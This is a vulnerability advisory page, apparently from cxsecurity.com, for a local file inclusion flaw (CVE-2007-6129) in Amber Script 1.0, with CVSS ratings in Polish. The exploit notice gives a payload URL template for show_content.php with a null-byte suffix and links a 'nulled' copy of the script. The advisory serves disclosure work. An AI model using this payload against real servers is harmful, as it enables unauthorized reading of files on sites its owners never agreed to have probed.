Amber Script 1.0 (show_content.php id) Local File Inclusion Vulnerability

2007-11-26 / 2007-11-27
Credit: Crackers_Child
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2007-6129
CWE: CWE-20


Ogólna skala CVSS: 5.8/10
Znaczenie: 4.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

______________________________________________By Crackers_Child___________________________________________+ * * * [~] Script.......: Amber Script 1.0 * [~] Download.....: http://rapidshare.com/files/54891799/Amber_Script_1.0.rar (Nulled) * [~] Author.......: Crackers_Child | cybermilitan (at) hotmail (dot) com [email concealed] & localexploit (at) hotmail (dot) com [email concealed] * [~] Class........: Local File Inclusion * [~] Demo.........: http://www.script4sale.info/demo/amber/ +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * * * [~] Exploit Lfi...: http://[Taget]/[amber_path]/scripts/include/show_content.php?id=LF? %00 * * +_______________________________________________________________________ ________________________________________________+ [~] iNF0......: F3CK Y0UR simple Lf3 +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * [~] Special Thanx.......: str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :) * +_______________________________________________________________________ ________________________________________________+


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top